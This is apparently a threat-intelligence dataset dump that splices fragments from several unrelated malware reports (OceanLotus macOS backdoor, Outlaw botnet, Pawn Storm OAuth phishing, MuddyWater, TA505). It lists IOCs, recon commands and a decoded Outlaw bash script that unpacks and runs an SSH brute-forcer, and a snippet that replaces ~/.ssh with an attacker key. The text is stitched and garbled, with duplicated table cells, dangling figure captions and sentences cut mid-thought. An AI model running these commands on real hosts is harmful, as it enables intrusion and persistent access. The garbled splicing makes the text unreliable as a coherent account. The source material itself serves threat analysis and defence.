mrmoor/cyber-threat-intelligence huggingface dataset:
Parameter Meaning Parameter Meaning w Website name w Website name r <?=$referer?> value r <?=$referer?> value o OS version o OS version lv HTTP Accept-Language lv HTTP Accept-Language bt Browser Information bt Browser Information bv Browser Information bv Browser Information bdv Browser Information bdv Browser Information fv Flash Version fv Flash Version silv Silverlight Version silv Silverlight Version ez EasyPayPlugin ActiveX Availability ez EasyPayPlugin ActiveX Availability ac ACUBEFILECTRL ActiveX Availability* - - - - mg MagicLoaderX ActiveX Availability - - nv
NVersionMan ActiveX Availability si SIClientAccess ActiveX Availability si SIClientAccess ActiveX Availability du DUZONERPSSO ActiveX Availability du DUZONERPSSO ActiveX Availability iw INIWALLET61 ActiveX Availability - -  -  - ad admctrl ActiveX Availability
Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.
This shows that the attacker has expanded his target base, and is interested in the software itself and not just their ActiveX objects.
Indicators of Compromise (IoC)  IoCs Description cfcd391eec9fca663afd9a4a152e62af665e8f695a16537e061e924a3b63c3b9
Injected Script in May 2018 e0e30eb5e5ff1e71548c4405d04ce16b94c4cb7f8c2ed9bd75933cea53533114 Injected Script in June 2018 67a1312768c4ca3379181c0fcc1143460efcb4bff7a4774c9c775043964c0878
Injected Script in 17 July 2018 hxxp://aega[.]co[.]kr/mall/skin/skin.php
Compromised site (received information May 2018) hxxp://www[.]peaceind[.]co[.]kr/board/icon/image.php
Compromised site (received information May 2018) hxxp://alphap1[.]com/hdd/images/image.php Compromised site (received information May 2018) hxxp://adfamc[.]com/editor/sorak/image.php Compromised site (received information June 2018) hxxp://adfamc[.[com/editor/sorak/skin.php Compromised site (received information 17 July 2018)
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin
We recently discovered a new backdoor we believe to be related to the OceanLotus group.
Figures 1-2.
Recently they have also been discovered by researchers from Volexity to be using malicious websites to propagate malware.
It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file.
The 3 bytes "efb880" is in UTF-8 encoding.
According to UTF-8 mapping, the related Unicode code is "U+FE00".
"U+FE00" is a special Unicode control character with name variation selector-1, which provides the visual appearance of a CJK compatibility ideograph.
Otherwise, if the postfix is .doc without special characters, Microsoft Word is called to open the app bundle as a document; but since it is not a valid document, the app fails to open it.
Here is the code signing information for the app bundle sample.
Figure 5. Code signing information for the sample
Plist file ~/Library/LaunchAgents/com.apple.marcoagent.voiceinstallerd.plist
The timestamp of the dropped files     4)      Delete itself
Third-stage payload
Figure 10. Encrypted strings           Figures 11-12.
Decryption routine     Like older versions of the OceanLotus backdoor, the new version contains two main functions: one for collecting operating system information and submitting this to its malicious C&C servers and receiving additional C&C communication information, and another for the backdoor capabilities.
It collects the following information from the infected system by invoking the following commands:  Command  Description  system_profiler SPHardwareDataType 2>/dev/null | awk '/Processor / {split($0,line,\":\"); printf(\"%s\",line[2]);}'  Get processor information  15f20 = system_profiler SPHardwareDataType 2>/dev/null | awk '/Memory/ {split($0,line, \":\"); printf(\"%s\", line[2]);}'
Get memory information    ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, \"\\\"\"); printf(\"%s\", line[4]); }
Get serial number    ifconfig -l ifconfig <device> | awk '/ether /{print $2}' 2>&1    Get network interface MAC addresses     Table 2.
OceanLotus commands and descriptions
TCP stream excerpt of the malware sending information to C&C server
TCP stream excerpt of the malware receiving commands from C&C server
Figures 17-18.
Figure 19. URLs related to mihannevis[.]com as seen on VirusTotal
The domain "mykessef[.]com" was used for the C&C server earlier.
Domain history of mykessef[.]com based on Whois Lookup
idtpl[.]org registration information based on Whois Lookup     But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.]91.      Figure 22. Domain History of idtpl[.]org as seen on VirusTotal
Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.
Indicators of Compromise  SHA-256  Filename/Description  Trend Micro Pattern Detection  cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420   ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip  Backdoor.MacOS.OCEANLOTUS.F  48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f  ALL tim
Chi Ngoc Canada  Backdoor.SH.OCEANLOTUS.F  05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3  2nd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F  fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737   3rd stage fat binary  Backdoor.MacOS.OCEANLOTUS.F   Domains  mihannevis[.]com mykessef[.]com idtpl[.]org  MITRE TTP  Tactic  ID  Name
Description  Defense Evasion
T1070.004  File Deletion  The app bundle and dropper delete themselves after execution  T1222.002  Linux and Mac File and Directory Permissions Modification
The backdoor changes the permission of the file it wants to execute to +x  T1027  Obfuscated Files or Information  Readable strings were encrypted  T1036.005  Masquerading: Match Legitimate Name or Location  The app bundle is disguised as a doc file to trick users into executing it  T1070.006  Indicator Removal
on Host
Timestomp  The backdoor modifies the date and time of the dropped files using the “touch” command  Discovery  T1082  System Information Discovery  The backdoor collects various information to send to the C&C server  Collection  T1560.003  Archive Collected Data: Archive via Custom Method  The backdoor encrypts the data before exfiltration  Command and Control  T1095  Non-Application Layer Protocol
As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity.
It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources.
While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.
The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed.
The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times.
Anomalous properties of a command detected from traffic
They attempted to evade traffic inspection by encoding the code for the scanner with base-64.
Decoding the scanner revealed the following codes:  #!/bin/bash cd /tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv /var/tmp/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd /tmp/.X19-unix/.rsync/c nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0
/up.txt 172.16
> /dev/null 2>1& sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1& exit 0
The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.
The tsm binary then runs in the background, forwarding a series of error messages to /dev/null to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt.
The script then waits 20 minutes before it runs the wrapper script initall: 2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a  initall  Figure 2.
Running the initall wrapper script
Another variant executes a set of commands once a system is successfully compromised.
head -n 1 cat /proc/cpuinfo | grep name |
head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
echo "root 123" > /tmp/up.txt rm -rf /var/tmp/dota* <send Outlaw kit (the archive file) to compromised host via SFTP> cat /var/tmp/.systemcache436621 echo "1" > /var/tmp/.systemcache436621 cat /var/tmp/.systemcache436621 sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened> cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3N.....<shortened>
Based on a bashtemp directory of the latest sample we found, there are other compiled ELF scripts, named init and init2, that loops the kit to keep running: 0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6  init  Figure 3. Running the init ELF script 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494  init2  Figure 4.
We also found the init0 script running; the script cleans out all miners regardless of its origin.
The init0 script running It then resets cron and removes possible cache files from other programs, starts scripts and binaries a, init0, and start, and sets the persistence by modifying the crontab.
This allows the malicious activity to evade detection.
Figure 6. Current variables for rsync (the Shellbot)  Figure 7. Connects to C&C to send current control variables
Indicators of Compromise (IoCs)  SHA256 Description Detection Name 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa Cryptocurrency miner Trojan.SH.MALXMR.UWEJP b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d Shellbot Backdoor.SH.SHELLBOT.AA 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 Tool Trojan.Linux.SSHBRUTE.B fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL32 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL64   URLs  159[.]203[.]141[.]208  104[.]236[.]192[.]6  45[.]9[.]148[.]129:80      Miner pool  45[.]9[.]148[.]125:80       Miner pool  http://www[.]minpop[.]com/sk12pack/idents.php         Command and control  http://www[.]minpop[.]com/sk12pack/names.php          Command and control      MITRE ATT&CK Matrix        Tags  Malware | APT & Targeted Attacks | Endpoints | IoT | Research | Network
However, they are particularly known for dangerous credential phishing campaigns.
In 2016, the group set up aggressive credential phishing attacks against the Democratic National Convention (DNC), German political party Christian Democratic Union (CDU), the parliament and government of Turkey, the parliament of Montenegro, the World Anti-Doping Agency (WADA), Al Jazeera, and many other organizations.
High profile users of free webmail were targeted by campaigns between 2015 and 2016.
How is OAuth abused?
Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.
Figure 1. The sequence of Pawn Storm's OAuth abuse A dissection of Pawn Storm OAuth attacks
In these attacks a user would get a message like this:
Figure 2. A phony email from Pawn Storm
At this point, the user is faced with a legitimate Google site—since all OAuth approvals are done on the site of the service provider—but the application itself is part of a phishing scheme.
After abusing the screening process for OAuth approvals, Pawn Storm’s rogue application operates like every other app accepted by the service provider.
Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.
Here is an example from 2015 where “McAfee Email Protection” is offered.
A convincing Yahoo phishing email Clicking on the “Try McAfee Email Protection” button would lead to this legitimate website:
This gives the third party app OAuth access
However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.
Overview of Pawn Storm’s Yahoo credential phishing campaigns.
The blue boxes indicate when Pawn Storm used OAuth lures while red boxes indicate other phishing email strategies OAuth enhances the user experience on the web.
These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well):  Google Defender Google Email Protection Google Scanner Delivery Service (Yahoo) McAfee Email protection (Yahoo)    For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.
We discovered a new campaign targeting organizations in Turkey, Pakistan and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia.
Comparing the earlier MuddyWater campaign with this new one reveals some distinct similiarities:    2017 MuddyWater Campaign 2018 “MuddyWater” Campaign Countries of Targeted Organizations Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia Turkey United Arab Emirates, and the USA Turkey, Pakistan, Tajikistan
Some documents also come with government emblems.
Dropped Files Visual Basic file and Powershell file; the VBS file executes the PS file
Infection Chain  Figure 1.
Infection chain for the attack
Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan
After enabling the macros and the payload executes, two files – an obfuscated  Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Mico as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories.
The purpose of the .VBS script is to execute the PowerShell script.
The path to the VBS script is added to the task scheduler as a form of persistence.
The PowerShell script, which employs several layers of obfuscation, is divided into three parts.
The configuration portion of the PowerShell script
The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.
The third part contains the backdoor function.
The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.]org, which returns the IP address of the currently infected machine.
A simple RSA algorithm with very small keys encrypts the message seen above.
Let’s take the first character as an example.
Character “{” = 0x7B =123.
Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.
By computing (123 ^ 959) mod 713 = 340 we get the encrypted value of the first character (see number 340 in the figure below).
The message above can be decrypted to: {"STATUS": "OK", "TOKEN": "d02153ffaf8137b1fa3bb852a27a12f8"}
The XML message with the screenshot
For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.
If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to "waiting for dragon":  无法访问本地计算机寄存器 (Unable to access local computer register) 任务计划程序访问被拒绝 (Mission Scheduler access is denied) 无法连接到网址，请等待龙 (Cannot connect to URL, please wait for dragon) 无法连接到网址，请等待龙 (Cannot connect to website, please wait for dragon)  These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers.
Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing.
Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.  Trend Micro™ Deep Discovery™ Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
In the group's latest campaign, they started using HTML attachments to deliver malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target users in South Korea.
Figure 1. TA505’s latest infection chain
We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.
As previously mentioned, TA505, first named by Proofpoint, is known for targeting financial enterprises.
Since last December, TA505 has been very active and has been using legitimate or compromised RATs (remote access trojans) such as FlawedAmmyy, FlawedGrace, and Remote Manipulator System (RMS).
Figure 2. Korean language (left), simplified Chinese language (right) Microsoft Office instructions on how to enable macro  Figure 3.
This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file.
The first stage payload is an MSI Installer that was created using an EXE to MSI converter.
Figure 4. MSI Installer payload that used EXE to MSI converter
The actual malicious payload is in the MSI Installer package.
The payload can vary in each campaign, but it typically uses the FlawedAmmyy downloader, ServHelper, or RMS RAT launcher.
Payload as FlawedAmmyy downloader
The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.
Figure 5. FlawedAmmyy downloader  Figure 6.
Digitally signed FlawedAmmyy downloader
It then runs the “net group /domain” command and checks if “workgroup” is contained in the output result.
After performing the check, it downloads the RC4-encrypted FlawedAmmyy RAT, decrypts it, and executes it as the final payload.
We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).
If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.
NSIS Installer NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.
TA505, for instance, abuses NSIS to install ServHelper.
This NSIS installer has two files: (nsExec.dll and repotaj.dll) and [NSIS].nsi.
The latter is a configuration file that handles files to install.
NSIS Installer sections
In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function.
Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.
Payload as RMS RAT TA505 also uses RMS, a legitimate RAT, in their campaigns.
SFXRAR
Three files extracted from SFXRAR  Figure 11.
Executed parameters As indicated in the parameter above, kernel.dll/uninstall.exe is also SFXRAR, but password-protected.
It will extract the following files (Figure 12) and execute exit.exe, where the said executable is also a launcher of i.cmd that registers winserv.exe (the actual RMS RAT) and executes it.
Extracted files  Figure 13.
RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures
Using Amadey to distribute EmailStealer On April 24, we detected an attack that used Amadey as its first stage payload.
Avoiding the use of msiexec.exe
As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.
Like the VBA macro code, the group just executes the downloaded file 234.exe by cmd.exe.
However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file.
Attached HTML
Some recent cases we observed even had the Excel file directly attached to the emails.
Figure 16.
Suspicious activity involving TA505
While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505’s TTPs but with some differences.
But it also contains Kronos, a known banking trojan; and SmokeLoader, which is another payload downloader.
The TA505 group usually attaches a malicious file without any compression.
But this attack sent an email with a .rar or .zip attachment.
For one thing, it has a different style of VBA macro.
Figure 18. VBA macro with heavy obfuscation
Another factor is its different codepage.
Malicious Excel files that TA505 distributed had information harvesting capabilities.
Lacking the use of fast flux infrastructure TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection.
Using Kronos and SmokeLoader (v2019) TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can’t be considered strong evidence of false attribution.
Using a different infrastructure to distribute spam
The strongest evidence that this attack might not come from TA505 is that this attack operator used a different spam infrastructure.
Our daily monitoring of TA505's activities show that the group sends spam from specific IPs; this suspicious attack used different sender IPs.
We couldn’t find any of the IPs used in previous attacks.
We can’t say for sure if this particular attack comes from TA505, another threat actor, an imitator, or perhaps just TA505 using another infrastructure.
This reiterates the tricky business of attribution in cybersecurity, which calls for careful inspection.
While it's easy to attribute similar incidents to certain threat actors, groups, or even countries, attribution should ultimately be based on technically provable information.